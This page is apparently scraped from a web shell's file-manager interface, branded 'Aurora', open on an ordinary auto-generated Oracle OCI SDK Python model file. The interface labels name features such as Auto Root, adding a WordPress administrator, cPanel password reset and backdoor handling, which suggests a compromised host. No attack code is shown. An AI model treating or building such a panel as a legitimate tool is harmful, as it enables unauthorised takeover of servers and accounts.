Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
cims
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: update_activity_item_details.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20181231 from .update_item_details import UpdateItemDetails from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class UpdateActivityItemDetails(UpdateItemDetails): """ Details for updating the support ticket activity. """ #: A constant which can be used with the activity_type property of a UpdateActivityItemDetails. #: This constant has a value of "NOTES" ACTIVITY_TYPE_NOTES = "NOTES" #: A constant which can be used with the activity_type property of a UpdateActivityItemDetails. #: This constant has a value of "PROBLEM_DESCRIPTION" ACTIVITY_TYPE_PROBLEM_DESCRIPTION = "PROBLEM_DESCRIPTION" #: A constant which can be used with the activity_type property of a UpdateActivityItemDetails. #: This constant has a value of "UPDATE" ACTIVITY_TYPE_UPDATE = "UPDATE" #: A constant which can be used with the activity_type property of a UpdateActivityItemDetails. #: This constant has a value of "CLOSE" ACTIVITY_TYPE_CLOSE = "CLOSE" #: A constant which can be used with the activity_type property of a UpdateActivityItemDetails. #: This constant has a value of "REOPEN" ACTIVITY_TYPE_REOPEN = "REOPEN" def __init__(self, **kwargs): """ Initializes a new UpdateActivityItemDetails object with values from keyword arguments. The default value of the :py:attr:`~oci.cims.models.UpdateActivityItemDetails.type` attribute of this class is ``activity`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param type: The value to assign to the type property of this UpdateActivityItemDetails. :type type: str :param comments: The value to assign to the comments property of this UpdateActivityItemDetails. :type comments: str :param activity_type: The value to assign to the activity_type property of this UpdateActivityItemDetails. Allowed values for this property are: "NOTES", "PROBLEM_DESCRIPTION", "UPDATE", "CLOSE", "REOPEN" :type activity_type: str """ self.swagger_types = { 'type': 'str', 'comments': 'str', 'activity_type': 'str' } self.attribute_map = { 'type': 'type', 'comments': 'comments', 'activity_type': 'activityType' } self._type = None self._comments = None self._activity_type = None self._type = 'activity' @property def comments(self): """ Gets the comments of this UpdateActivityItemDetails. Comments updated at the time that the activity occurs. :return: The comments of this UpdateActivityItemDetails. :rtype: str """ return self._comments @comments.setter def comments(self, comments): """ Sets the comments of this UpdateActivityItemDetails. Comments updated at the time that the activity occurs. :param comments: The comments of this UpdateActivityItemDetails. :type: str """ self._comments = comments @property def activity_type(self): """ Gets the activity_type of this UpdateActivityItemDetails. The type of activity occurring. Allowed values for this property are: "NOTES", "PROBLEM_DESCRIPTION", "UPDATE", "CLOSE", "REOPEN" :return: The activity_type of this UpdateActivityItemDetails. :rtype: str """ return self._activity_type @activity_type.setter def activity_type(self, activity_type): """ Sets the activity_type of this UpdateActivityItemDetails. The type of activity occurring. :param activity_type: The activity_type of this UpdateActivityItemDetails. :type: str """ allowed_values = ["NOTES", "PROBLEM_DESCRIPTION", "UPDATE", "CLOSE", "REOPEN"] if not value_allowed_none_or_none_sentinel(activity_type, allowed_values): raise ValueError( f"Invalid value for `activity_type`, must be None or one of {allowed_values}" ) self._activity_type = activity_type def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other